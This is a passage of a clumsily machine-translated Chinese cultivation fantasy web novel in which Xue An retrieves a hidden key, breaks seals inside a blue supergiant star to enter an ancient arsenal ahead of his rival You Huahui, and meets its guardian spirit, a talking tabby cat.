    Ouyang Xiaoman narrowed his mouth and said in a complaining tone: "Hmph, your teacher is simply too incompetent. After teaching half of it, he left in a hurry, and it took such a long time to go."


    Shu Wenbin''s face sank upon hearing this, "Xiaoman, don''t be rude to the teacher!"


    Xue An smiled and waved his hand, motioning Shu Wenbin not to speak, and then reached out and touched Ouyang Xiaoman''s head.


    "What you said is correct, I am indeed not competent enough, but that is also no way. After all, I still have a lot to deal with."


    "Then Master, can you finish the matter this time? Are you leaving?" After saying that, Ouyang Xiaoman looked at Xue An with piercing eyes, his face full of hope.


    Xue An was silent for a moment, then gently shook his head, "Not yet."


    At this time, the brilliance in Ouyang Xiaoman''s eyes dimmed suddenly.


    The mood of Shu Wenbin and others was also somewhat depressed.


    Xue An laughed when he saw it, "What are you doing so listlessly? Although I can''t stay here too much this time, you can follow me!"


    what?


    Hearing this statement, everyone present was shocked.


    Especially this Ouyang Xiaoman, almost jumping up, "Master, what are you saying is true?"


    "Of course it is true, otherwise what am I doing when I come back?"


    "Wow, this is so good, I finally don''t have to hold back the mold in this college hahahahahahaha." Ouyang Xiaoman laughed wildly.


    And not only she, but also Shu Wenbin, who has always been so mature, can''t help showing joy.


    Xue An waved his hand gently at this time, signaled Ouyang Xiaoman to be quiet, and then said lightly: "But going out this time may be a bit dangerous, do you want to think about it?"


    "Danger? What could be more dangerous than facing the stinky face of Big Brother all day?" Ouyang Xiaoman said with a grin.


    Shu Wenbin and others said without hesitation: "Teacher, no matter what you do, I will wait even if it is broken."


    "Good!" Even Xue An couldn''t help but yelled out now.


    "But before we leave, there are still many things to deal with!"


    As he said, Xue An turned around and walked to the middle of the academy. At the same time, he said indifferently: "Xiaoman will come with me, and Wen Bin will be responsible for dealing with the schoolboys and disciples in the front yard. ready!"


    "Yes!" everyone responded in unison, and then dispersed.


    Ouyang Xiaoman followed Xue Anshen to the Buddhist scripture building in the middle of the academy.


    "Master, what did you bring me here for?" Ouyang Xiaoman asked curiously.


    Xue An raised his head and took a look at the tall building, and said lightly: "Come here, naturally you are looking for something!"


    After all, Xue An opened the door and walked into the Tibetan scripture building.


    It is very messy, and it can be seen that someone has flipped this place more than once.


    Xue An went upstairs and walked upstairs.


    Ouyang Xiaoman didn''t dare to ask, just followed behind silently.


    Soon, the two of them came to the top floor of the Buddhist scripture building.


    The scrolls placed here are the scrolls left by Xue An himself. At the same time, the traces of being turned over are the heaviest. Some books are even torn to pieces, and papers are scattered on the ground.


    "Master, is this the **** Jing Haomiao doing this? It''s too disgusting, I really want to kill him!" Ouyang Xiaoman said angrily Xue An just curled up indifferently, but raised his head Look at a picture on the wall.


    It is written in the strokes of dragons and phoenixes.


    Good defenders hide under the nine places, and good offenders move above the nine heavens. Therefore, it can protect itself and win completely.


    At this time, Ouyang Xiaoman also noticed Xue An''s strangeness, and followed Xue An''s gaze, and couldn''t help but wonder.


    "Master, what do you think of this writing?"


    "It''s nothing, I just think my words at the time... are so ugly!"


    As he said, Xue An stretched out his hand slowly.


    In an instant, this character released thousands of light, and then flew into Xue An''s palm, turning into a small soldier talisman letter.


    "Master, what is this?" Ouyang Xiaoman exclaimed.


    "This is what Jing Haomiao and others tried so hard to find...Arsenal key!" Xue An said lightly.

 Chapter 1987： Secret of the Arsenal

    Speaking of this, let''s briefly introduce the origin of this arsenal.


    The so-called arsenal is actually just a very general term. It is not a warehouse for storing weapons as imagined, but a secret storehouse.


    Back then, when Xue An had just proclaimed the Immortal Emperor Dao and had not yet cultivated into the Immortal Venerable, he entered this secret store because of various chances and coincidences.


    Xue An was shocked at that time.


    Because in this secret storage there are almost a large number of soldier talisman armors, and each one can be called a boutique.


    Not only that, but the weapon armor in this arsenal is divided into many grades from low to high.


    Placed on the outermost layer, that is, the lowest-grade battle armor, even ordinary people can wear it, and once it is put on, it has the strength that can liven up the cultivators of the Unexpected Realm.


    You should know that this is an ordinary person with no cultivation base, but just because of a piece of armor can make such a earth-shaking change.


    And the deeper you go to the arsenal, the higher the level of the armor of the soldiers.


    In the innermost layer, Xue An even saw a battle armor suitable for the strong immortal king.


    And once you put it on, you can increase your strength by at least 30%.


    You must know that for a strong man in this realm, 30% strength is an extremely terrifying astronomical figure, which also shows the horror of this talisman armor.


    At that time, Xue An was completely shocked by the arsenal, but it was not over yet. There was a separate isolated space in the deepest part of the arsenal. Even Xue An, who had the strength of the Immortal Emperor at that time, took a lot of effort. Entered it.


    The space inside is not as vast as the arsenal of the outside world, but there are a halo floating inside, just like a safe, it is impossible to see what is inside from the outside.


    Xue An felt extremely strong pressure in this, so after a quick glance, he was ready to withdraw.


    As a result, at this moment, a small seal suddenly appeared in Xue An''s palm.


    At that time, Xue An didn''t care too much. It was not until after he came out that he discovered that this seal was the key to the arsenal.


    Looking at the almost massive amount of armored weapons, Xue An felt the seriousness of the matter.


    Although he didn''t know where this arsenal was left, he knew that if the things in this arsenal were spread out, it would definitely cause an uproar among the heavens. He didn''t know how many unpredictable careerists would make trouble.


    Therefore, Xue An decisively used the seals he obtained to reclose the arsenal and put several seals on it.


    When encountering this arsenal, it happened that Xue An brought You Huahui, who had just been subdued at the time, to work, so You Huahui also saw this scene.


    This is why he knew the arsenal.


    The situation is different now. Seeing that the ten-year period is approaching day by day, what terrifying monsters will appear behind the bronze gate at that time, even Xue An is a little bit unsure.


    After all, based on Xue An''s experience in dealing with these monsters several times, all these monsters have unpredictable weird abilities.


    For example, the Hydra that appeared suddenly and disappeared into the heavens. He actually possessed an immortal body and could perfectly replicate the opponent''s abilities. Any trick that was used against him once would completely fail.


    If it weren''t for the sudden appearance of the nine-tailed fox Zuhuhuan, Xue An would have to pay a painful price to defeat him, and even then he could not kill him and let him run away.


    As for the triangle head encountered in the Pure Land Buddha Kingdom, although its strength is slightly weaker, it has the almost abnormal ability of being strong and weak and weak.


    And these are just two monsters, God knows how many weird monsters there are behind the bronze door.


    This shows that if you don''t prepare in advance, even if Xue An can dominate the heavens, it will be unpredictable when facing these weird monsters.


    So now is the time to use this arsenal.


    This is also the reason why Xue An will come to Haoran Academy at the first stop in Zhutian.


    At the beginning, Xue An disguised the seal letter of the soldier talisman that opened the arsenal into a piece of writing and left it on the upper floor of the Buddhist scriptures of Haoran Academy.


    It is ridiculous that even though Jing Haomiao has searched for countless times, and even turned the entire Buddhist scripture building upside down, he never expected that the key to open the arsenal was always on the bright side.


    When Xue An was remembering, only Ouyang Xiaoman said expectantly: "Master, now the key to the arsenal is also obtained, when shall we leave?"


    Xue An turned his head to look at her, "Are you so worried?"


    "Oh don''t mention it, don''t you know, Master. After you left, I looked at the old face of the big brother all day, and the whole person almost collapsed. Afterwards, I was sealed in the white tower for so long. Who can stand it? "Ouyang Xiaoman said with a pouting face of dissatisfaction.


    Xue An smiled, "Okay! In that case, let''s set off when we finish handling the affairs of this world!"


    Ouyang Xiaoman couldn''t help cheering when she heard the romance, but suddenly she remembered something, and asked curiously: "Master, where shall we go next stop?"


    Xue An looked at the sky outside the window and said lightly: "Now that the key has been obtained, the next stop... Of course, I will go to the arsenal first!"


    Ouyang Xiaoman wanted to ask where the arsenal was and what it was, but when she saw Xue An''s bright eyes, she couldn''t help but swallowed the words back.


    At the same time, Xue An whispered: "You should be aware of it now, and if I''m not wrong, you must be ready to act first. After all... with your personality, since you know things It has been exposed, it will definitely make a desperate move, right? You Huahui?"


    Speaking of the last time, Xue An''s eyes suddenly rose up with a bright brilliance, which was shocking.


    At the same time, in a deserted planet in the depths of the Star Sea, hot magma is constantly surging.


    The temperature here is enough to incinerate everything It is difficult for even strong practitioners to survive here.


    But even in this extremely dangerous environment, there was a figure sitting cross-legged on top of the magma.


    Suddenly, the surrounding magma began to boil violently, and the spewing flames caused the temperature here to rise sharply.


    But no matter what kind of fiery flames, the moment they approached this man, they would be completely vanished.


    At the same time, the man slowly opened his eyes.


    In an instant, the boiling magma around him instantly condensed, and the entire space was like a flash of lightning, which made people feel palpable.


    Because what kind of eyes are these.


    It was as if someone had packed all the evil under the sky and condensed it into these eyes.


    People with slightly weaker minds may be completely crazy just by being looked at by these eyes.


    But soon, the man blinked his eyes, and all the evil spirits before were condensed and disappeared without a trace.

 Chapter 1988： Go all out

    Only then can the face of this man be seen clearly.


    This is a man dressed in black, his face is a little pale, not handsome, but with an indescribable evil.


    The man frowned slightly and said softly, "The clone I left on Jing Haomiao was actually destroyed?"


    That''s right!


    This black-clothed man was You Huahui who had taken refuge in Xue An before and then rebelled.


    I saw the color of thinking on his face, and after a moment of indulgence, his eyes suddenly chilled, "No, Jing Haomiao''s breath has disappeared."


    Following the voice, he suddenly stood up, his eyes filled with palpitating cold light.


    "Xue An...definitely you did it, right? Otherwise, no one would know Haoran Academy. Even if they knew, they wouldn''t wipe out my clone so cleanly!"


    Speaking of this, You Huahui''s face suddenly showed a hostility that was too strong to dissolve, and he stepped out suddenly.


    boom!


    The magma pool at the foot instantly solidified and turned into a fiery red spar.


    Then You Huahui said with a grinning smile: "Xue An, you are really fateful. Even the Tribulation of the Immortal Venerable didn''t kill you, and you succeeded in reincarnation. But you think this was the time when you oppressed the heavens. Huh?"


    "Now that I am the sovereign of the immortal emperor, and I have tens of millions of evil soldiers, what can you fight against me?"


    Speaking of this, You Huahui couldn''t help laughing up to the sky.


    The crazy laughter caused the planet to vibrate violently, the plates moved, and countless volcanoes spewed out of magma, like hell.


    Suddenly, You Huahui''s laughter stopped abruptly.


    "No, you are not being wanted by the sects such as the Palace of the People and Xuan Ming Ling? Why did you take such a huge risk to go to Haoran Academy? Could it be..."


    You Huahui''s expression suddenly became extremely dignified, and gritted his teeth and roared: "It''s the key! The key to the arsenal is indeed hidden by you in the Haoran Academy! No, I must rush to open the arsenal before you to win the opportunity , Otherwise all previous efforts will be lost!"


    After all, You Huahui soared into the sky, directly smashing through the heavy rock formation above his head, and flew out of the planet in an instant.


    After his figure disappeared into the void, there was a sudden burst of violent explosions from the inside of the planet, and then a huge hole was torn from the earth.


    Immediately afterwards, the planet groaned overwhelmedly, slowly splitting apart.


    Before the Haoran Academy, Xue An said to Ye Ming and Ye Hong, grandfather and grandson: "You two will take charge of this place for the time being, but are there any questions?"


    Ye Ming said resolutely, "Master Patriarch, don''t worry, as long as I''m here, the safety of the college will be guaranteed!"


    Xue An smiled and shook his head, "Don''t be so nervous, I just reorganized and upgraded the planet''s protective mountain formation again, nothing will happen, but..."


    Xue An''s face was slightly solemn, "You can''t slack off during this period of time. Can you understand the law that I taught you two before?"


    Ye Ming and Ye Hong both nodded.


    "Very good! During the next period of time, you will not only cultivate good students, but also pay attention to cultivating disciples, so as to expand the college and prepare for the challenge, understand?"


    "Yes! The disciple understands!"


    After dealing with all this, Xue An said to Shu Wenbin, Ouyang Xiaoman and others.


    "Time is running out. In order to get to the arsenal as soon as possible, you should all enter the Buddha kingdom in my palm!"


    Everyone nodded in succession.


    Then Xue An raised his hand and pressed it down suddenly.


    The brilliant golden light swept across everyone''s heads, and when it dissipated, everyone disappeared.


    Ye Ming and Ye Hong were taken aback for a moment, and Xue An also rose into the sky, turned into a stream of light, and disappeared behind the blue light array.


    Ye Hong looked at the sky full of cyan brilliance blankly, and couldn''t help saying: "Grandpa, once this adult goes, will he come back?"


    "Of course it will!" Ye Ming nodded firmly and said with piercing eyes: "And the time shouldn''t be too long."


    "What the **** is the lord going to do? Even such a hurry? Even such a big battle?" Ye Hong asked suspiciously.


    Ye Ming gave a wry smile, "Where do I know!"


    Then his eyes became solemn, "But what is certain is that it should be a major event, a major event that can shake the entire heavens!"


    At Xue An''s current speed, it is a bit too conservative to describe it as a fast speed switch.


    At each step, Xue An can cross hundreds of millions of miles of territory, flying straight to the depths of the void like a light.


    This time Xue An didn''t take the star boat because time was too late. He knew very well that now You Huahui must have known the news.


    The two sides are now competing who is faster, so he must go all out.


    But in this way, it will inevitably disturb the strong along the road.


    Like now.


    When Xue An was passing a star cluster, a tyrannical aura suddenly appeared in front of him and blocked his way.


    "Who is so rude? Walk in my territory wantonly?"


    The sound rumbling like thunder, shaking the entire void.


    This star cluster is composed of dozens of stars, and its territory is probably billions of miles, and these are all owned by the strong man in front of him.


    Therefore, he naturally would not allow Xue An to pass through his own door so "presumptuously".


    In fact, among the heavens, especially in the depths of the star sea, because there are all over the big bosses who dominate a star field, few people will rush at full speed like Xue An is now.


    After all, this is a serious provocation in the eyes of many powerful people.


    It''s fine if you encounter a good temper. If you encounter a grumpy person, you will probably fight.


    Obviously, the temper in front of him is not very good.


    For example, now, this strong man has arrogantly released his Dharma form.


    A huge virtual image of up to ten thousand li filled the entire void overlooking Xue An condescendingly.


    "Passing strong, now obediently apologize to me, otherwise..."


    But before he could finish speaking, Xue An snorted coldly, "Go away!"


    After all, Xue An''s speed did not decrease at all, and he rushed forward.


    "Extremely arrogant!" This strong man was furious by Xue An''s attitude, and he wanted to start waving his face.


    But at this moment, I saw a glamorous sword light that cut across the entire world in an instant.


    puff!


    This huge dharma image suddenly shattered, and then Xue An passed straight through it and disappeared into the void in an instant.


    And in a certain planet in this star cluster, the strong man who was sitting on the throne suddenly opened his mouth and spit out a large mouthful of blood, and then looked into the distance with horror, and murmured in horror.


    "What a strong sword intent, where is this strong sword repairer? Why is the temper so violent?"

 Chapter 1989： Evil King You Huahui

    "Master, what''s the matter? What happened?" The subordinates standing beside this strong man were shocked when they saw this, and they all went forward and said.


    "It''s okay, it''s a strong sword repairman who passed by. I was careless, but he succeeded in a sneak attack!" Of course, the strong man didn''t tell the truth, and found an excuse to cover it up.


    His men were furious when they heard this.


    "Daring to attack the Lord is really looking for death, and I will go to him to settle the account now!"


    "Yes, let him settle the account!"


    The audience was in an uproar.


    Looking at the indignant people, the strong man just waved his hand, "Okay, this strong sword repairman should be gone long ago, where are you going to chase?"


    "Then this is the case? The Lord is already injured." Some subordinates said angrily.


    "Hehe, naturally this matter won''t just leave it alone, you will now strengthen precautions to prevent any more provocations by strong people passing by. If there is a situation, I will let you know!"


    "Yes!"


    After taking the order, the gang broke up, leaving this strong man alone on the throne.


    It wasn''t until there was no one in the hall that the strong man opened his mouth and vomited two large mouthfuls of blood one after another, then wiped the blood stains from the corners of his mouth, murmured unabated.


    "What a strong sword intent, if it hadn''t been for me to hide quickly, this sword might have cut my soul in half!"


    Speaking of this, he let out a sigh of relief for the rest of his life, and his heart was full of joy.


    As for what he said just now that his subordinates should strengthen precautions to prevent further provocations by the strong, it was entirely a wording for the sake of face saving.


    He didn''t think that he could be so unlucky that he could meet another strong man who passed by.


    But God seemed to be opposing him too, just as he was thinking about how to heal his wounds later, there was a sudden throb in his heart.


    Immediately after that, he heard the shouts of his helpers from outside.


    "Lord, come on, there is another attack."


    This strong man was shocked, no, he shouldn''t be so unlucky!


    He shouted in his heart, and then barely condensed the form that had just been smashed and flew outside the star cluster.


    At this time, all of his men stood in line with serious faces.


    In the void in the distance, groups of evil soldiers suddenly appeared.


    The number of these evil soldiers is so large that as soon as they appeared, they filled the entire void, and couldn''t even see them.


    The mouth of this strong man opened wide in an instant, and the tall Dharma image was also shrunk a lot, intentionally or unintentionally.


    Because he saw that in that team, there was a big shot erected impressively.


    Embroidered on it is a big character full of evil spirits, swim!


    As soon as he saw this scene, the eyes of this strong man showed fear.


    Because he remembered an existence that many people would not dare to provoke even in the depths of the sea of ??stars where the strong were everywhere.


    It was You Huahui who was known as the evil king.


    You must know that this person''s experience is very legendary, and even once took refuge in the Red Lotus Immortal Venerable, but then rebelled.


    Recently, it has been heard that he has proven that Immortal Emperor Dao has become a top powerhouse who makes people such as the Emperor Xuan Mingling of the Emperor Palace courteous three points after seeing him.


    Unexpectedly, he would pass by here today.


    Just as the strong man was terrified in his heart, the evil soldier had already rushed forward with a thud.


    Then his gang began to commotion.


    Among them, a guy with an arrogant and ruthless face approached the strong man and said grimly: "My lord, these guys actually passed on our site without your permission. Obviously they didn''t You put it in your eyes."


    "Oh? What do you want to do?" The strong man gave him a sideways glance and said coldly.


    "Naturally stop the way and teach them a lesson. Let these guys know how good you are, at least let the boss of these guys come out and apologize to you, otherwise they won''t let them pass!"


    "Okay, that''s right!" The strong man nodded.


    A smile appeared on the face of this subordinate, but in the next second, his head was directly smashed by the strong man.


    The brains were mixed with blood, and all the men in this group trembled.


    Then I heard this strong man say angrily: "Damn, don''t get involved with me if you want to die, and let me block the way, why don''t you go?"


    After that, he glared at his gang, "You idiots, don��t you know how to use your head? Just think about it with your **** toes, and you can know how ordinary people can have such a big battle. ? Call me out, are you trying to kill me?"


    The faces of these men being scolded were pale.


    Then the strong man glanced at the group of evil soldiers approaching in horror, and said solemnly: "Let''s go!"


    After all, he turned around hurriedly and left.


    But at this moment, I heard a voice full of majesty and evil spirits.


    "What? Seeing me here, do you want to leave without saying hello?"


    As soon as the words came out, the strong man froze in place, and then slowly turned around, squeezing a smile on his face that was even worse than crying.


    "Evil... Lord Evil King, how dare I have that kind of thought! It''s really because I just suddenly remembered something urgent at home, and I plan to go back and deal with it!"


    "Oh? Really? That''s a coincidence! It just so happens that I am looking for you in some urgent matter, come here!"


    With the last shout, the strong man shook his whole body, then turned pale and flew forward tremblingly.


    The evil soldier parted a path silently, and his eyes that exuded ghost fire stared at the strong man, causing him to tremble constantly.


    When flying to the middle, but under that big �� is a magnificent carriage embroidered with the sun, moon and stars.


    And a powerful force radiated from this chariot.


    The strong man only felt that his legs were soft and he almost fell to his knees. He could only barely stand still, and then bowed his hand.


    "Evil... Lord Evil King, do you have any instructions?"


    "I ask you before I came, anyone passed by here?"


    The strong man trembled all over, then bit his scalp and said: "Master Huixie, there was indeed a strong sword repairman who passed by, but I don''t know him!"


    "Oh?" There was a moment of silence in the car, then the curtain opened silently, and a man walked out of it.


    It is the You Huahui.


    At this time, he had changed into a pure black robe, embroidered with a palpitating skull coat of arms, and wearing a flat crown, like an emperor.


    Then You Huahui looked at the strong man standing far away.


    The moment he met You Huahui''s gaze, the strong man finally couldn''t bear the pressure, and fell to the ground with a splash, shaking his whole body.


    "Master Evil King, spare your life!"


    You Huahui cast a deep gaze at this strong man, and then said coldly: "This injury above your art form is the one left by the crossing sword repairman?"


    "Yes Yes!"

 Chapter 1990： Blue superstar

    The voice just fell, but seeing You Huahui slammed out a palm.


    This strong man felt an extremely powerful suction surge. Unprepared, he had only time to let out a stern and short scream, and then flew into You Huahui''s palm.


    "Let you use it!"


    After all, You Huahui shook the palm of his hand.


    There was a burst of noise, and the power of this strong man was instantly crushed by You Huahui.


    And among the fragments of the magic image, there was a sword intent that was weak but extremely sharp.


    You Huahui raised his hand and gently touched this sword intent.


    puff!


    The skin, which was several times harder than the strongest spar, was directly cut through a long cut.


    Dark blood rushed out instantly, but You Huahui''s eyes gradually brightened, and then a cold smile appeared at the corner of his mouth.


    "Half-step immortal emperor! Xue An, have you been reborn for so long to have this strength? Now, how can you fight me!"


    After all, You Huahui sat back in the car and said coldly: "Go! Hurry up!"


    Hundreds of millions of evil soldiers surrounded his chariot once again, rumbling across the void and flying away.


    at the same time.


    On that planet, the strong man above the throne suddenly screamed, and then the momentum of the whole body quickly fell down, and his face was almost transparent.


    But it was his eyes that was worse than his face.


    I saw him suddenly rise, ignoring his severely injured body, and immediately fled away.


    Because although this strong man is not very strong, he has vision.


    First, a sword repairman who didn''t know his path suddenly passed by, and then even an existence like the evil king You Huahui appeared.


    All these signs prove that something big must happen.


    To be safe, of course he must leave here first.


    As for the so-called territory or fame, they are all things outside of the body, how can they be compared with their own wealth and life.


    And just as this hapless strong man fled in a hurry, in the distant starry sky, Xue An slowly stopped.


    Because just in the void in front of him, a bright blue star stopped the way.


    This is a blue supergiant star, big enough to hold billions of suns.


    Moreover, the life span of this type of star is extremely long, and some can even reach hundreds of billions of years.


    At this moment, Xue An stared at the blue jewel-like superstar in front of him, his expression moved slightly, and then a cold smile appeared.


    "Interesting, there are a few more seals, You Huahui, it seems that you are sure to win this arsenal!"


    That''s right!


    The entrance of this arsenal is in this blue superstar. After Xue An came out of the arsenal, he was afraid that the information would leak and cause unnecessary trouble, so he added a few more seals on it.


    Unexpectedly, now there are a few more seals on top of his own seal, don''t ask, this must be You Huahui.


    The purpose is also very clear, he can''t get it, others can''t imagine it.


    But Xue An just sneered a few times at this, and then raised his eyebrows slightly.


    boom!


    A red lotus suddenly appeared between his eyebrows, and it expanded rapidly, eventually covering his whole person.


    Then Xue An took a step and came straight to the surface of this blue superstar.


    Suddenly, scorching air currents of up to tens of thousands of degrees swept in, but when they first came into contact with the brilliance of the red lotus, these heat waves were vanished.


    It is necessary to know that this temperature is enough to burn any strong below the Immortal King, even Xue An, must move freely under the protection of Red Lotus.


    Then Xue An strode across the surface of the blue superstar, so fast that he dragged a long tail flame behind him.


    In the blink of an eye, Xue An came to the center of the blue superstar.


    The temperature here has reached a terrifying million degrees Celsius.


    In such an environment, some well-known laws of physics have failed, and high temperature dominates everything.


    Even Xue An''s Red Lotus showed red light at this moment, fully resisting the terrifying heat.


    Xue An held his breath, looked around like electricity, and stepped on it.


    boom!


    Under this foot, I only heard a continuous explosion from under my feet. It was the sound of the seal that Xue An had placed at the beginning.


    Immediately afterwards, brilliance began to appear in all directions, forming a series of dense and weird runes.


    These are the seals laid by You Huahui.


    Xue An smiled coldly, then shook his palm into a fist and blasted out directly.


    Boom!


    Accompanied by a loud noise, the entire blue superstar seemed to tremble slightly, and then cracks appeared on the seal of these runes, and finally burst into pieces.


    At the moment when these runes were broken, an energy suddenly appeared in the firelight in front of him.


    Xue An Guanghua flashed, flipped his wrist, and the soldier talisman letter appeared in the palm of his hand, and he said coldly: "Open!"


    With this cold drink, the Qi machine suddenly increased, and then a huge suction emerged from it, directly inhaling Xue An into it with irrefutable power.


    boom!


    The fire blazed into the sky, and then everything gradually returned to calm.


    But just a few moments after Xue An disappeared, You Huahui led hundreds of millions of evil soldiers and killed them mightily.


    He even felt very clearly the last touch of breath that Xue An left before leaving.


    But immediately, the vitality disappeared, leaving only the blue superstar whose surface brilliance was flashing crazily.


    You Huahui was furious, "No!"


    As he said, countless layers of ice armor suddenly appeared all over his body, and then he rushed to the blue super giant star desperately.


    boom!


    The scorching heat instantly blew thousands of ice armors, but You Huahui obviously came prepared, no matter how many ice armors burst, he would refill them after one breath.


    And the strength that You Huahui has honed in meditation and retreat in the lava of that planet for so long is not in vain.


    So despite the alarming temperature, he was unscathed.


    But when he arrived at the entrance of the arsenal ~ www.novelhall.com ~ Xue An had already disappeared.


    Even the seals he placed were destroyed completely.


    "No! Xue An, you bastard, I am not convinced!" You Huahui''s jealous eyes were red.


    He worked so hard to plan for the arsenal for so long, even in order to be able to enter it himself, he did not hesitate to hide in the lava of the planet to hone his fire resistance.


    Unexpectedly, all the planning was ultimately useless.


    Xue An just appeared, and easily entered it with the key to the arsenal.


    This feeling is like a goddess who is chased by a man, but is easily embraced by others in a few words.


    How could You Huahui not be angry.


    But at this moment, the arsenal gas machine that had disappeared once again appeared, and then, an incredible force of suction fell on You Huahui''s head.


    Suddenly, he was shocked all over, and then he was dragged into the unknown, and disappeared.

 Chapter 1991： Giant Jingguan

    Xue An knew nothing about what happened to the outside world.


    Because at this moment, he was looking at everything in front of him with surprise.


    The arsenal at this time is very different from the last time it came.


    The once densely packed soldier talisman armor that almost filled the entire space has disappeared, replaced by an endless wilderness.


    On the wilderness, the bones are like mountains, and the broken flags and swords are everywhere, and it is an extremely desolate ancient battlefield.


    During Xue An''s walk with a sinking face, many old bones would be crushed every step of the way, making a sour squeak.


    There was no sound of wind, not even a hint of air flow, the whole space was terribly silent.


    Soon, Xue An came to the center of the battlefield, where there stood a huge towering Jingguan.


    However, the densely packed skulls were piled up to form a pyramid-like mountain.


    Moreover, these skulls are arranged in a specific direction, and the eyes of the black hole look straight ahead, which is chilling.


    Even Xue An, who has seen countless big scenes, couldn''t help but turn pale when he saw this giant Jingguan.


    Because to build such a large-scale Jingguan, the number of heads required is simply astronomical.


    Even the most bloodthirsty Xie Xiu among the heavens could not do such a frantic thing.


    So what is going on in this battlefield?


    When Xue An was puzzled, a voice suddenly rang from Xue An''s ears.


    "You are finally here!"


    Xue Anhuo was shocked, and his whole body''s momentum instantly climbed to the top, and then looked around like a sword, "Who? Who is talking?"


    "Haha!" The voice smiled, "Don''t be so nervous, I have no malice against you!"


    Then the voice said in a very sighing tone: "Is this a spectacular sight? After all... billions of heroes are cast as Jingguan. Such a sight should be extremely rare among your heavens!"


    "Who are you?" Xue An shouted coldly.


    At this moment, his muscles are tense, and his alertness has been raised to the extreme.


    Because until now, he had not been able to detect where the sound came from, and he hadn''t even noticed the slightest breath.


    But this voice appeared in his ears so naturally that he didn''t even have any precautions in advance.


    This is terrible.


    Because this also means that if the other party wants to disadvantage him, he can''t even do the most basic guard.


    The voice smiled faintly, "I said, you don''t need to be so nervous, I really have no malice against you, because if I am malicious against you, I won''t allow you to enter here twice, and I will give you all the soldier talisman letters! "


    "Soldier Talisman Yinxin?" Xue An was taken aback, "Are you the weapon spirit of this arsenal?"


    Because only the instrument spirit can explain why it can transmit sound to itself without noticing it.


    And it is not surprising that such a huge arsenal gave birth to the spirit of the device.


    "The same can be said, although I prefer to call myself...Uncle Cat!"


    Following the voice, a faint figure suddenly appeared in the space in front of Xue An.


    When the figure became clear, it was a tabby cat.


    This tabby cat has a strong body and shiny fur, especially the emerald-like eyes are even more breathtaking.


    Xue An also didn''t expect that the weapon spirit of this arsenal would be a cat, and couldn''t help feeling a little surprised.


    At this moment, the tabby cat gracefully turned around in the air, and then smiled at Xue An.


    That''s right!


    The cat actually laughed.


    There is no sense of disobedience and laughter.


    "Do you have a lot of questions you want to ask me?"


    Xue An nodded, "Yes!"


    "Don''t worry, I will explain all the questions to you clearly, but before I talk about these, I want to ask you a question!"


    "Are you Chinese?"


    Xue An was shocked, his face finally showed horror.


    Because he didn''t expect that this cat would actually say the word Chinese.


    "Answer me, yes or no?"


    "What about it? What about it?" Xue An returned to calm, looking at the tabby cat with cold eyes.


    "Hehe, look, you still don''t believe me, you are still full of defense against me."


    The tabby cat laughed for a while, then circled Xue An twice and said lightly.


    "In fact, I guessed your identity from the first time you entered the arsenal, otherwise you would not be able to enter! Even if you enter, it is impossible to see the true appearance of the arsenal!"


    "Then why do you still ask?"


    "Hehe, isn''t that idle and boring, do you want to confirm it! After all... I have slept in this ghost place for thousands of years, and I usually don��t even have a fly. This time I finally met someone who could communicate. Say a few more words."


    "Wan years? You said you have been here for 10,000 years?" Xue An was shocked.


    "To be exact, it is 11,728 years and 59 days!" The tabby cat said lightly, and then screamed at Xue An.


    "Little brother, what? You don''t believe it?"


    Little brother...


    This title made Xue An a little bit dumbfounded, and no one had ever dared to call himself that way.


    But in the face of this tabby cat, Xue An suppressed other emotions, and then asked solemnly.


    "Since you asked me if I am Chinese, then you or your master must have a deep relationship with my Chinese? Then dare to ask who the owner of this arsenal is?"


    "Uh... this..." The tabby cat suddenly looked suspicious, and then laughed a few times, "The owner has ordered these things, and I can''t let me disclose them casually."


    "Can''t disclose? Then you just said that you would explain all of my questions clearly?"


    "Hey..." The tabby cat rubbed its two fore palms in embarrassment That''s me bragging, don''t believe it! "


    Xue An: "..."


    Then he raised his hand and pointed at the huge Jingguan in front of him and the entire desolate battlefield, and said in a deep voice, "Then what''s going on?"


    The tabby cat sighed softly, "These are the sights that I have witnessed with my own eyes. They are cast into Jingguan, but they are countless passionate men!"


    Xue An''s eyes moved slightly, and he asked, "What kind of hot-blooded man?"


    The tabby cat took a deep look at Xue An, then chuckled and shook his head, "No need to try to confuse me. I will say what should be said, and I will not disclose a word of what should not be said, such as these things, I I won''t tell you!"


    "Because this is something you cannot bear now. Although all doubts will eventually be solved, it is not now!"


    A hot flame suddenly burned in Xue An''s eyes, "Is there something that even I can''t bear?"


    "It''s too much! For example..." Just now, the tabby cat suddenly woke up, and then closed his mouth.

 Chapter 1992： Tell me, who are you guys!

    "You almost came up with words again. In short, remember that these things are not what you should worry about now."


    "This can''t be said, that can''t be said, so what can you tell me?" Xue An was silent for a moment, and finally said coldly.


    "There is a lot to say, such as how to use these weapon armors!"


    The tabby cat said with a smile, and then the scene in front of him changed abruptly, from the previous desolate battlefield back to the arsenal filled with countless armors.


    There was no sign of the whole process, it seemed so natural, as if everything was supposed to be.


    Xue An didn''t look at these armors, but stared deeply at the tabby cat, "So... you have been waiting here for thousands of years, just to tell me this?"


    The tabby cat shrugged, regardless of how it did it, but the feeling for Xue An was that it shrugged, and then said indifferently.


    "In fact, when the master sent me to stay in this arsenal guarding, he didn''t expect that there would be descendants of Chinese people coming. Everything is just for the slightest possibility. If you wait for the natural joy, it doesn''t matter if you can''t wait. Right when I slept with a big dream for 10,000 years!"


    Xue An was stunned. After a long time, he said in a daze, "You mean you are spending 10,000 years to blog about a possibility that you don''t know if it will appear?"


    "Yes! Is there any problem?"


    Xue An was suddenly silent.


    Because he really didn''t know how to respond to this tabby cat''s words.


    Ten thousand years, this is an extremely long time even for the top powerhouse among the heavens.


    In fact, the general immortal king powerhouse may dissipate on its own within less than 10,000 years.


    After all, the increase in entropy is everywhere, if you fail to hold the destiny, even the fairy king will eventually die.


    But the other party didn''t care about spending such a long time waiting for someone who eventually didn''t know if he would show up. What else could Xue An say?


    Sigh, **** it?


    "Little brother, I know you are a little surprised, but since you can come here, it proves that you are the man who bears the destiny, so sooner or later you will understand that when your life grows to a certain extent, there will be no so-called waste. Just as you don��t care about one minute, I don��t care about these ten thousand years of sleep!"


    "If you say so, you have almost unlimited life?" Xue An asked.


    "Hehe, how can I be called infinite!" The tabby cat laughed at himself, then a frightened expression appeared in his eyes, and said in a low voice.


    "You know... in the eyes of some existences, even time is just a plaything of wanton kneading!"


    Xue An was thinking deeply in his eyes.


